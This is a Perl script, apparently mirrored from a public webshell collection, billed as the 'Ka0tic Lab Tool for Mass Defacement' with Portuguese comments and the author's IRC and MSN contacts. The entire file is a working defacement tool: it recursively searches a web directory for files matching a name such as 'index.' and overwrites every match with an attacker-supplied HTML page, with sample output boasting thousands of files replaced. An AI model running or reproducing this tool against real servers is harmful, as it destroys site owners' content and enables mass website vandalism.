mirror of
https://github.com/tennc/webshell
synced 2024-11-22 19:23:05 +00:00
145 lines
4.6 KiB
Perl
145 lines
4.6 KiB
Perl
#!/usr/local/bin/perl
|
|
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-@
|
|
# @
|
|
# Usage: @
|
|
# @
|
|
# [sap0@localhost tmp]$ perl ka0s_over -d /home/www/ -f index. -n /tmp/index.html @
|
|
# @
|
|
# - = [ Ka0tic Lab Tool for Mass Defacement Version 0.3 by S4P0 ] = - @
|
|
# Contate nos: @
|
|
# @MSN: sap0@linuxmail.org @
|
|
# #IRC: irc.GigaChat.org - irc.EFnet.org - Canal #Ka0tic @
|
|
# @
|
|
# =-=-=-=-=-= @
|
|
# Opcoes: @
|
|
# -d = Diretorio dos Arquivos, Somente / N?o funciona! @
|
|
# -f = Nome do arquivo a ser trocado @
|
|
# -n = Diretorio do novo arquivo. @
|
|
# Exemplo: @
|
|
# perl ka0s_over.pl -d / -f index. -n /tmp/index.html @
|
|
# =-=-=-=-=-= @
|
|
# @
|
|
# [+] Ok, Diretorio dos arquivos: /www/ @
|
|
# [+] Ok, O arquivo a ser substituido: index. @
|
|
# [+] Ok, Novo arquivo a ser colocado: /tmp/index.html @
|
|
# [+] Buscando arquivo[s] @
|
|
# [+] Ok, Foram encontrados: 4873 arquivos... @
|
|
# [+] Substituindo os arquivos. @
|
|
# [+] Arquivos Substituidos com Sucesso! @
|
|
# [+] Total de Arquivos substituidos: 4873 @
|
|
################################################################################################@
|
|
# Detalhes: @
|
|
################################################################################################@
|
|
# Vers?o 3 do ka0s_over: @
|
|
# Retirada fun??es system(); e o comando find que da erro em Sistemas Operacionais, @
|
|
# que n?o o Possuem. E colocado um programa em perl que procura e troca. @
|
|
# @
|
|
# PS: @
|
|
# N?o se esque?a de colocar um diret?rio espec?ficado, s? / n?o funciona. Coloquei esse @
|
|
# Detalhe at? por que se colocar / ele ir? fazer uma pesquisa muito grande e muito demorada, @
|
|
# e poder? causar o travamento do sistema!! ai j? ?ra. @
|
|
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-@
|
|
|
|
################################## ABOUT ###################################################
|
|
$VERSION="Version 0.3 by S4P0";
|
|
$about =
|
|
"\n- = [ Ka0tic Lab Tool for Mass Defacement $VERSION ] = -\n".
|
|
"Contate nos:\n".
|
|
"\t \@MSN: sap0\@linuxmail.org\n".
|
|
"\t \#IRC: irc.GigaChat.org - irc.EFnet.org - Canal \#Ka0tic\n".
|
|
"\n=-=-=-=-=-=".
|
|
"\nOpcoes:\n".
|
|
"\t-d = Diretorio dos arquivos, somente \"\/\" Nao funciona!\n".
|
|
"\t-f = Nome do arquivo a ser trocado\n".
|
|
"\t-n = Diretorio do novo arquivo.\n".
|
|
"Exemplo:\nperl ka0s_over.pl -d /www -f index. -n /tmp/index.html\n".
|
|
"=-=-=-=-=-=\n";
|
|
############################################################################################
|
|
use Getopt::Std;
|
|
getopts('d:f:n:', \%args);
|
|
if (defined($args{'d'})){$dir=$args{'d'};}else{$dir="/";}
|
|
if (defined($args{'f'})){$file=$args{'f'};}else{$dir="";}
|
|
if (defined($args{'n'})){$newfile=$args{'n'};}else{$newfile="";}
|
|
|
|
print $about;
|
|
|
|
$dirok="[+] Ok, Diretorio dos arquivos: $dir";
|
|
$fileok="[+] Ok, O arquivo a ser substituido: $file";
|
|
$newfileok="[+] Ok, Novo arquivo a ser colocado: $newfile";
|
|
|
|
if("$dir") {
|
|
print "$dirok\n";
|
|
sleep(1);
|
|
}
|
|
if("$file") {
|
|
print "$fileok\n";
|
|
sleep(1);
|
|
}
|
|
else
|
|
{
|
|
print "";
|
|
exit();
|
|
}
|
|
if("$newfile") {
|
|
print "$newfileok\n";
|
|
sleep(1);
|
|
}
|
|
else
|
|
{
|
|
print "";
|
|
exit();
|
|
}
|
|
|
|
printf "[+] Buscando arquivo[s]\n";
|
|
my @troca;
|
|
find($dir, sub { push(@troca, $_[0]) if ($_[0] =~ /$file/i) });
|
|
my $quantidade = scalar(@troca);
|
|
|
|
if($quantidade<=0) {
|
|
print "[-] Erro: Nenhum Arquivo encontrado.\n";sleep(1);
|
|
print "[-] Coloque a extencao do arquivo.\n";sleep(1);
|
|
print "[-] Ou, Apenas arquivo. [Sem extencao].\n";sleep(1);
|
|
exit();
|
|
}
|
|
|
|
printf "[+] Ok, Foram encontrados: $quantidade arquivos...\n";sleep(1);
|
|
printf "[+] Substituindo os arquivos.\n";
|
|
open(NEW, "< $newfile");
|
|
foreach $files(@troca)
|
|
{
|
|
open(FILE, "> $files");
|
|
while (<NEW>) {
|
|
print FILE $_;
|
|
}
|
|
close(FILE);
|
|
seek(NEW, 0, 0);
|
|
}
|
|
close(NEW);
|
|
sleep(1);
|
|
printf "[+] Arquivos Substituidos com Sucesso!\n";sleep(1);
|
|
printf "[+] Total de Arquivos substituidos: $quantidade\n";
|
|
sub find {
|
|
my ($path, $callback) = @_;
|
|
$path = '/' unless $path;
|
|
$path =~ s/^\/+/\//;
|
|
$path =~ s/\/$//;
|
|
my @files = list_dir($path);
|
|
my @dirs;
|
|
foreach my $file (@files) {
|
|
my $filepath = $path.'/'.$file;
|
|
&{$callback}($filepath);
|
|
push(@dirs, $filepath) if (-d $filepath);
|
|
}
|
|
undef(@files);
|
|
map { find($_, $callback) } @dirs;
|
|
return(1);
|
|
}
|
|
sub list_dir {
|
|
my ($dir, $dont_list_subdirs) = @_;
|
|
opendir(DIR, $dir) || return();
|
|
my @files = readdir(DIR);
|
|
closedir(DIR);
|
|
@files = grep { !-d "$dir/$_" } @files if ($dont_list_subdirs);
|
|
my @files = grep { $_ !~ /^(\.){1,2}$/ } @files;
|
|
return(@files);
|
|
}
|